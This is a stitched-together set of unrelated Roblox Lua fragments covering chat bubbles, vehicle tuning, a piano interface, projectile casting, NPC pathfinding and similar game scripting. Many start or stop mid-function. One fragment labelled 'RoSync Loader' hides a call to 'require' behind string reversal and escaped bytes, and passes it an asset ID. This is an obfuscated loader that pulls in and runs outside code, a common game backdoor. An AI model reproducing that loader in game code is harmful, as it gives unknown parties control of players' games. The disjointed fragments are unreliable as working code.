CHAT_BUBBLE_PADDING * 2) local height = numOflines * CHAT_BUBBLE_LINE_HEIGHT -- prep chat bubble for tween chatBubbleRender.Size = UDim2.fromOffset(0, 0) chatBubbleRender.Position = UDim2.fromScale(0.5, 1) chatBubbleRender:TweenSizeAndPosition( UDim2.fromOffset(width, height), UDim2.new(0.5, -width / 2, 1, -height), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end ) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -height) else local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING) / BILLBOARD_MAX_WIDTH, 0.1) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0, 0, 0, 0) chatBubbleRender.Position = UDim2.new(0.5, 0, 1, 0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1 - bubbleWidthScale) / 2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) end delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false) end end function this:OnGameChatMessage(origin, message, color) -- Prevents conflicts with the new bubble chat if it is enabled if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) if UserShouldLocalizeGameChatBubble then this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true) else this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false) end end function this:BubbleChatEnabled() if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then return false end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then local chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
-- wait for the first of the passed signals to fire
local function waitForFirst(...) -- RBXScriptSignal local shunt: BindableEvent = Instance.new("BindableEvent") local slots = {...} local function fire(...) for i = 1, #slots do slots[i]:Disconnect() end return shunt:Fire(...) end for i = 1, #slots do -- RBXScriptSignal slots[i] = slots[i]:Connect(fire) -- Change to RBXScriptConnection end return shunt.Event:Wait() end
--[[ Generates symbols used to denote event handlers when working with the `New` function. ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local function OnEvent(eventName: string): PubTypes.OnEventKey return { type = "Symbol", name = "OnEvent", key = eventName } end return OnEvent
--Insert new value
function module:InsertStat(player, locationName, newValue) if main.pd[player][locationName] then table.insert(main.pd[player][locationName], newValue) main.pd[player].DataToUpdate = true main.signals.InsertStat:FireClient(player, {locationName, newValue}) end end
--[=[ Gets the screen position of the mouse. ]=]
function Mouse:GetPosition(): Vector2 return UserInputService:GetMouseLocation() end
--helpfully checks a table for a specific value
local function contains(t, v) for _, val in pairs(t) do if val == v then return true end end return false end
-- RightShoulder.MaxVelocity = 0.05 -- LeftShoulder.MaxVelocity = 0.05 -- RightShoulder.DesiredAngle = math.pi -- LeftShoulder.DesiredAngle = -math.pi -- RightHip.DesiredAngle = 0 -- LeftHip.DesiredAngle = 0
for _, motor in next, Limbs do if string.match(motor.Name, "Left") or string.match(motor.Name, "Front") or string.match(motor.Name, "Right") or string.match(motor.Name, "Back") then motor.DesiredAngle = 0 end end for _, motor in next, Joints do motor.MaxVelocity = 0.05 motor.DesiredAngle = math.pi * 0.5 end end function MoveSit()
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local car = script.Parent.Bike.Value local cam = workspace.CurrentCamera local RS = game:GetService("RunService") car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then RS:UnbindFromRenderStep("MCam") cam.CameraType = Enum.CameraType.Custom end end) script.Parent.Values.MouseSteerOn.Changed:connect(function(property) if script.Parent.Values.MouseSteerOn.Value then RS:BindToRenderStep("MCam",Enum.RenderPriority.Camera.Value,function() cam.CameraType = Enum.CameraType.Scriptable local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end) else RS:UnbindFromRenderStep("MCam") cam.CameraType = Enum.CameraType.Custom end end)
-----------------------------------------------------------------
game.StarterPlayer.CharacterWalkSpeed = gameRules.NormalWalkSpeed local function AccessID(SKP_0,SKP_1) if SKP_0.UserId ~= SKP_1 then SKP_0:kick("Exploit Protocol"); warn(SKP_0.Name.." - Potential Exploiter! Case 0-A: Client Tried To Access Server Code"); table.insert(_G.TempBannedPlayers, SKP_0); end; return ACS_0; end; Evt.AcessId.OnServerInvoke = AccessID
--[=[ Returns true if the class is a maid, and false otherwise. ```lua print(Maid.isMaid(Maid.new())) --> true print(Maid.isMaid(nil)) --> false ``` @param value any @return boolean ]=]
function Maid.isMaid(value) return type(value) == "table" and value.ClassName == "Maid" end
----------------------------------------------------------------------
end function computeLaunchAngle(dx,dy,grav) -- arcane -- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile local g = math.abs(grav) local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY))) if inRoot <= 0 then return .25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx) local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx) local answer1 = math.atan(inATan1) local answer2 = math.atan(inATan2) if answer1 < answer2 then return answer1 end return answer2 end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end Tool.Enabled = true function onActivated() if not Tool.Enabled then local bewl = script.Parent:FindFirstChild("Bool") if bewl then bewl:Destroy() end return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint script.Parent.Handle.SlingshotSound:Play() fire(targetPos) Tool.Enabled = true end function onWeld() local bewl = script.Parent:FindFirstChild("Bool") if bewl then bewl:Destroy() end end script.Parent.Activated:connect(onActivated) script.Parent.Unequipped:connect(onWeld)
--[=[ @within Comm @prop ServerComm ServerComm ]=] --[=[ @within Comm @prop ClientComm ClientComm ]=]
return Comm
--//Const
local RS = game:GetService("RunService"); function ViewportInit:Init(VP, Selected, CamCFrame) if (not VP) then return; end VP:ClearAllChildren(); local Obj = Selected:Clone(); if (not Obj.PrimaryPart) then for i,v in pairs(Obj:GetChildren()) do if (v:IsA("BasePart")) then Obj.PrimaryPart = v; break; end end end Obj:SetPrimaryPartCFrame(CFrame.new(Vector3.new(), CamCFrame.Position)) Obj.Parent = VP; local Camera = Instance.new("Camera"); VP.CurrentCamera = Camera; Camera.Parent = VP; local cf = CamCFrame Camera.CFrame = cf return Obj, Camera; end return ViewportInit
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -5.5 Tune.RCamber = -5 Tune.FToe = 0 Tune.RToe = 0
-- Private Functions
local function tripleProduct(a, b, c) return b * c:Dot(a) - a * c:Dot(b) end local function containsOrigin(self, simplex, direction) local a = simplex[#simplex] local ao = -a if (#simplex == 4) then local b, c, d = simplex[3], simplex[2], simplex[1] local ab, ac, ad = b - a, c - a, d - a local abc, acd, adb = ab:Cross(ac), ac:Cross(ad), ad:Cross(ab) abc = abc:Dot(ad) > 0 and -abc or abc acd = acd:Dot(ab) > 0 and -acd or acd adb = adb:Dot(ac) > 0 and -adb or adb if (abc:Dot(ao) > 0) then table.remove(simplex, 1) direction = abc elseif (acd:Dot(ao) > 0) then table.remove(simplex, 2) direction = acd elseif (adb:Dot(ao) > 0) then table.remove(simplex, 3) direction = adb else return true end elseif (#simplex == 3) then local b, c = simplex[2], simplex[1] local ab, ac = b - a, c - a local abc = ab:Cross(ac) local abPerp = tripleProduct(ac, ab, ab).Unit local acPerp = tripleProduct(ab, ac, ac).Unit if (abPerp:Dot(ao) > 0) then table.remove(simplex, 1) direction = abPerp elseif (acPerp:Dot(ao) > 0) then table.remove(simplex, 2) direction = acPerp else local isV3 = ((a - a) == ZERO3) if (not isV3) then return true else direction = abc:Dot(ao) > 0 and abc or -abc end end else local b = simplex[1] local ab = b - a local bcPerp = tripleProduct(ab, ao, ab).Unit direction = bcPerp end return false, direction end
--[ LEADERSTATS ]--
game.Players.PlayerAdded:Connect(function(player) local leaderstats = Instance.new("Folder", player) -- Creates a folder into the player leaderstats.Name = "leaderstats" local Clicks = Instance.new("IntValue", leaderstats) -- Creates a value into the folder Clicks.Name = "Clicks" Clicks.Value = 0 local Gems = Instance.new("IntValue", leaderstats) -- Creates a value into the folder Gems.Name = "Gems" Gems.Value = 0 local Rebirths = Instance.new("IntValue", leaderstats) -- Creates a value into the folder Rebirths.Name = "Rebirths" Rebirths.Value = 0 end)
-- Time it takes to reload weapon
local ReloadTime = 2
-- Set initial value
script.Parent.Visible = not plr.Settings.CanSave.Value
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "LB trap" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--The button
script.Parent.Button.ClickDetector.MouseClick:connect(function(click) if not (on) then on = true--On script.Parent.MeshPart.Transparency = 1 script.Parent.MeshPart.CanCollide = false elseif (on) then on = false --Off script.Parent.MeshPart.Transparency = 0 script.Parent.MeshPart.CanCollide = true end end)
-- fn cst_int_rdr(string src, int len, fn func) -- @len - Length of type for reader -- @func - Reader callback
local function cst_int_rdr(len, func) return function(S) local pos = S.index + len local int = func(S.source, S.index, pos) S.index = pos return int end end
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 150 Tune.IdleRPM = 700 Tune.PeakRPM = 6000 Tune.Redline = 7000 Tune.EqPoint = 5252 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Natural" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[ Function to clean any state that has been instantiated in the script ]]
function UIController.clean() end return UIController
-- Create a new shimmer object
local shim = shimmer.new(guiObject, 1, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut, -1, false, 0)
---------------------------------------------------------------
function onChildAdded(child) if child.Name == "SeatWeld" then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human IN") seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car" seat.Parent.Name = human.Parent.Name.."'s Car" s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui end end end function onChildRemoved(child) if (child.Name == "SeatWeld") then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human OUT") seat.Parent.Name = "Empty Car" seat.SirenControl.Control.CarName.Value = "Empty Car" game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
--[[ Last synced 7/9/2021 08:36 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--[[ Handles client-side behaviors and effects while pulling a wagon --]]
local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local LocalWalkJumpManager = require(ReplicatedStorage.Source.LocalWalkJumpManager) local PlayerFacingString = require(ReplicatedStorage.Source.SharedConstants.PlayerFacingString) local localPlayer = Players.LocalPlayer :: Player local PullingWagon = {} PullingWagon.__index = PullingWagon export type ClassType = typeof(setmetatable({} :: {}, PullingWagon)) function PullingWagon.new(characterModel: Model): ClassType local self = {} setmetatable(self, PullingWagon) -- Only create behaviors and effects for local character if characterModel == localPlayer.Character then self:_onPullingStarted() end return self end function PullingWagon._onPullingStarted(self: ClassType) -- Disable jumping LocalWalkJumpManager.getJumpValueManager():setMultiplier(PlayerFacingString.ValueManager.PullingWagon, 0) end function PullingWagon.destroy(self: ClassType) -- Re-enable jumping LocalWalkJumpManager.getJumpValueManager():removeMultiplier(PlayerFacingString.ValueManager.PullingWagon) end return PullingWagon
--end
local function displayPath(waypoints) local color = BrickColor.Random() for index, waypoint in pairs(waypoints) do local part = Instance.new("Part") part.BrickColor = color part.Anchored = true part.CanCollide = false part.Size = Vector3.new(1,1,1) part.Position = waypoint.Position part.Parent = workspace local Debris = game:GetService("Debris") Debris:AddItem(part, 6) end end local function walkTo(destination) local path = getPath(destination) if path.Status == Enum.PathStatus.Success then for index, waypoint in pairs(path:GetWaypoints()) do local target = findTarget() if target and target.Humanoid.Health > 0 then attack(target) break else humanoid:MoveTo(waypoint.Position) humanoid.MoveToFinished:Wait() end end else humanoid:MoveTo(destination.Position - (TeddyAI.HumanoidRootPart.CFrame.LookVector * 10)) end end function patrol() local waypoints = TeddyAI.Parent.felewaypoints:GetChildren() local randomNum = math.random(1, #waypoints) walkTo(waypoints[randomNum]) end while true do patrol() end
--game.ReplicatedStorage.Events.CriarSave3.OnServerEvent:Connect(function(player)
--player.Saves.Numerodesaves3.Value = 1
--[[ Calls awaitStatus internally, returns (isResolved, values...) ]]
function Promise.prototype:await(...) local length, result = pack(self:awaitStatus(...)) local status = table.remove(result, 1) return status == Promise.Status.Resolved, unpack(result, 1, length - 1) end
--- Sets the text in the command bar text box, and captures focus
function Window:SetEntryText(text) Entry.TextBox.Text = text if self:IsVisible() then Entry.TextBox:CaptureFocus() Entry.TextBox.CursorPosition = #text + 1 end end
-- Function to update the TextLabel
local function updateTextLabel() local waitingText = "Waiting for " for _, player in pairs(game.Players:GetPlayers()) do if not playersWhoClicked[player.UserId] then waitingText = waitingText .. "" .. player.Name end end textLabel.Text = waitingText end
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function ShowPiano() PianoGui:TweenPosition( UDim2.new(0.5, -380, 1, -220), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function HidePiano() PianoGui:TweenPosition( UDim2.new(0.5, -380, 1, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function ShowSheets() SheetsGui:TweenPosition( UDim2.new(0.5, -200, 1, -520), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function HideSheets() SheetsGui:TweenPosition( UDim2.new(0.5, -200, 1, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function ToggleSheets() SheetsVisible = not SheetsVisible if SheetsVisible then ShowSheets() else HideSheets() end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end function HighlightPianoKey(note) local keyGui = PianoGui.Keys[note] if IsBlack(note) then keyGui.BackgroundColor3 = Color3.new(50/255, 50/255, 50/255) else keyGui.BackgroundColor3 = Color3.new(200/255, 200/255, 200/255) end delay(.5, function() RestorePianoKey(note) end) end function RestorePianoKey(note) local keyGui = PianoGui.Keys[note] if IsBlack(note) then keyGui.BackgroundColor3 = Color3.new(0, 0, 0) else keyGui.BackgroundColor3 = Color3.new(1, 1, 1) end end function PianoKeyPressed(Object, note) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then PlayNoteClient(note) end end function ExitButtonPressed(Object) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then Deactivate() end end function SheetsButtonPressed(Object) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then ToggleSheets() end end function SheetsEdited(property) if property == "Text" then local bounds = SheetsGui.Sheet.ScrollingFrame.TextBox.TextBounds SheetsGui.Sheet.ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, math.max(14, bounds.Y)) end end function ToggleCaps() ShiftLock = not ShiftLock if ShiftLock then PianoGui.CapsButton.BackgroundColor3 = Color3.new(1, 170/255, 0) PianoGui.CapsButton.BorderColor3 = Color3.new(154/255, 103/255, 0) PianoGui.CapsButton.TextColor3 = Color3.new(1, 1, 1) else PianoGui.CapsButton.BackgroundColor3 = Color3.new(140/255, 140/255, 140/255) PianoGui.CapsButton.BorderColor3 = Color3.new(68/255, 68/255, 68/255) PianoGui.CapsButton.TextColor3 = Color3.new(180/255, 180/255, 180/255) end end function CapsButtonPressed(Object) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then ToggleCaps() end end
-- double rd_dbl_le(string src, int s) -- @src - Source binary string -- @s - Start index of little endian double
local function rd_dbl_le(src, s) return rd_dbl_basic(string.byte(src, s, s + 7)) end
--------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------- -- Event Handlers
function OnRayHit(cast, raycastResult, segmentVelocity, cosmeticBulletObject) -- This function will be connected to the Caster's "RayHit" event. local hitPart = raycastResult.Instance local hitPoint = raycastResult.Position local normal = raycastResult.Normal if hitPart ~= nil and hitPart.Parent ~= nil then -- Test if we hit something local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid") -- Is there a humanoid? if humanoid then local Player = Players:GetPlayerFromCharacter(Tool.Parent) humanoid.Health -= 100 TagHumanoid(humanoid, Player) task.wait(2) UntagHumanoid(humanoid) end MakeParticleFX(hitPoint, normal) -- Particle FX end end function OnRayPierced(cast, raycastResult, segmentVelocity, cosmeticBulletObject) -- You can do some really unique stuff with pierce behavior - In reality, pierce is just the module's way of asking "Do I keep the bullet going, or do I stop it here?" -- You can make use of this unique behavior in a manner like this, for instance, which causes bullets to be bouncy. local position = raycastResult.Position local normal = raycastResult.Normal local newNormal = Reflect(normal, segmentVelocity.Unit) cast:SetVelocity(newNormal * segmentVelocity.Magnitude) -- It's super important that we set the cast's position to the ray hit position. Remember: When a pierce is successful, it increments the ray forward by one increment. -- If we don't do this, it'll actually start the bounce effect one segment *after* it continues through the object, which for thin walls, can cause the bullet to almost get stuck in the wall. cast:SetPosition(position) -- Generally speaking, if you plan to do any velocity modifications to the bullet at all, you should use the line above to reset the position to where it was when the pierce was registered. end function OnRayUpdated(cast, segmentOrigin, segmentDirection, length, segmentVelocity, cosmeticBulletObject) -- Whenever the caster steps forward by one unit, this function is called. -- The bullet argument is the same object passed into the fire function. if cosmeticBulletObject == nil then return end local bulletLength = cosmeticBulletObject.Size.Z / 2 -- This is used to move the bullet to the right spot based on a CFrame offset local baseCFrame = CFrame.new(segmentOrigin, segmentOrigin + segmentDirection) cosmeticBulletObject.CFrame = baseCFrame * CFrame.new(0, 0, -(length - bulletLength)) end function OnRayTerminated(cast) local cosmeticBullet = cast.RayInfo.CosmeticBulletObject if cosmeticBullet ~= nil then -- This code here is using an if statement on CastBehavior.CosmeticBulletProvider so that the example gun works out of the box. -- In your implementation, you should only handle what you're doing (if you use a PartCache, ALWAYS use ReturnPart. If not, ALWAYS use Destroy. if CastBehavior.CosmeticBulletProvider ~= nil then CastBehavior.CosmeticBulletProvider:ReturnPart(cosmeticBullet) else cosmeticBullet:Destroy() end end end MouseEvent.OnServerEvent:Connect(function (clientThatFired, mousePoint) if not CanFire then return end CanFire = false local mouseDirection = (mousePoint - FirePointObject.WorldPosition).Unit for i = 1, BULLETS_PER_SHOT do Fire(mouseDirection) end if FIRE_DELAY > 0.03 then wait(FIRE_DELAY) end CanFire = true end) Caster.RayHit:Connect(OnRayHit) Caster.RayPierced:Connect(OnRayPierced) Caster.LengthChanged:Connect(OnRayUpdated) Caster.CastTerminating:Connect(OnRayTerminated) Tool.Equipped:Connect(function () CastParams.FilterDescendantsInstances = {Tool.Parent, CosmeticBulletsFolder} end)
-- função para adicionar vírgulas a um número
local function commaSeparateNumber(amount) local formatted = amount while true do formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2') if k == 0 then break end end return "Exp: "..formatted end
--> References
local PlayerData = ReplicatedStorage:WaitForChild("PlayerData")
-------------------------
while true do R.BrickColor = BrickColor.new("Lime green") wait(0.5) R.BrickColor = BrickColor.new("Really black") wait(0.5) end
--여기까지
local ser = game:GetService("Debris") local tweenService = game:GetService("TweenService") local skill = game.ReplicatedStorage.Skill:FindFirstChild(skillName) --스킬 찾기 local Cooldown = true local DamageCool = false function tween(X, Y, Z, clone) local Posi = {Position = Vector3.new(X, Y, Z)} local info = TweenInfo.new( 0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false ) local tween = tweenService:Create(clone, info, Posi) tween:Play() end script.Parent.SkillEvent.OnServerEvent:Connect(function(plr, X, Y, Z, Target) --플레이어가 스킬을 클릭하면 if Cooldown == true then if Ammo > 0 then Ammo -= 1 local clone = skill:Clone() --스킬 복사 clone.Parent = game.Workspace.SkillPart --스킬 적용 clone.Orientation = script.Parent.Handle.Orientation clone.Position = script.Parent.Handle.Position clone.Touched:Connect(function(hit) --다른 플레이어가 스킬에 닿이면 local human = hit.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기 local human2 = hit.Parent.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기 if hit ~= script.Parent.Handle then local bomb = game.ReplicatedStorage.Skill.Explosion2:Clone() bomb.Parent = game.Workspace.SkillPart bomb.Position = Vector3.new(clone.Position.X, clone.Position.Y, clone.Position.Z) ser:AddItem(bomb, 0.2) ser:AddItem(clone, Delete) end if human ~= nil and hit.Parent then if hit.Parent.Name == script.Parent.Parent.Name and DamageCool == false then return end if human and DamageCool == false then --해당 조건이 맞으면 DamageCool = true human:TakeDamage(Damage) --데미지 입히기 wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기 DamageCool = false elseif human2 and DamageCool == false then DamageCool = true human2:TakeDamage(Damage) --데미지 입히기 wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기 DamageCool = false end end end) --끝 tween(X, Y, Z, clone) script.Parent.Handle:FindFirstChild(Sound):Play() --오디오 틀기 elseif Ammo == 0 then --탄환이 0이 되면 Cooldown = false Ammo = 5 --다시 탄환 충전 wait(CoolTime) --쿨타임 Cooldown = true end end end) --끝
--[[ =========================================================================== We assume that instructions are unsigned numbers. All instructions have an opcode in the first 6 bits. Instructions can have the following fields: 'A' : 8 bits 'B' : 9 bits 'C' : 9 bits 'Bx' : 18 bits ('B' and 'C' together) 'sBx' : signed Bx A signed argument is represented in excess K; that is, the number value is the unsigned value minus K. K is exactly the maximum value for that argument (so that -max is represented by 0, and +max is represented by 2*max), which is half the maximum for the corresponding unsigned argument. =========================================================================== --]]
luaP.OpMode = { iABC = 0, iABx = 1, iAsBx = 2 } -- basic instruction format
--CHANGE THIS LINE-- (Main)
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal2a -- Change last word
-- Local Variables
local ScoreFrame = script.Parent.ScreenGui.ScoreFrame local VictoryFrame = script.Parent.ScreenGui.VictoryMessage local Events = game.ReplicatedStorage.Events local DisplayVictory = Events.DisplayVictory local DisplayScore = Events.DisplayScore local ResetMouseIcon = Events.ResetMouseIcon local Player = game.Players.LocalPlayer local Mouse = Player:GetMouse() local MouseIcon = Mouse.Icon
--Script (DO NOT TOUCH)
script.Parent.Event:connect(function() if debounce == false and script.Parent.Open.Value == false then debounce = true print("going up") doora.PrimPart.Alarm:play() wait(4) doora.PrimPart.Open:play() open() for i = 1,50 do doora.PrimPart.Alarm.Volume = doora.PrimPart.Alarm.Volume - .06 wait() end doora.PrimPart.Alarm.Volume = 3 doora.PrimPart.Alarm:stop() script.Parent.Open.Value = true debounce = false elseif debounce == false and script.Parent.Open.Value == true then debounce = true doora.PrimPart.Alarm:play() wait(4) doora.PrimPart.Close:play() close() for i = 1,50 do doora.PrimPart.Alarm.Volume = doora.PrimPart.Alarm.Volume - .06 wait() end doora.PrimPart.Alarm.Volume = 3 doora.PrimPart.Alarm:stop() script.Parent.Open.Value = false debounce = false end end)
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp Yellow = script.Parent.Yellow.Lamp Green = script.Parent.Green.Lamp function Active() if Signal.Value == 0 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = false elseif Signal.Value == 1 then Green.Enabled = true Yellow.Enabled = false Red.Enabled = false elseif Signal.Value == 2 then Green.Enabled = false Yellow.Enabled = true Red.Enabled = false elseif Signal.Value == 3 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = true end end Signal.Changed:connect(Active)
--
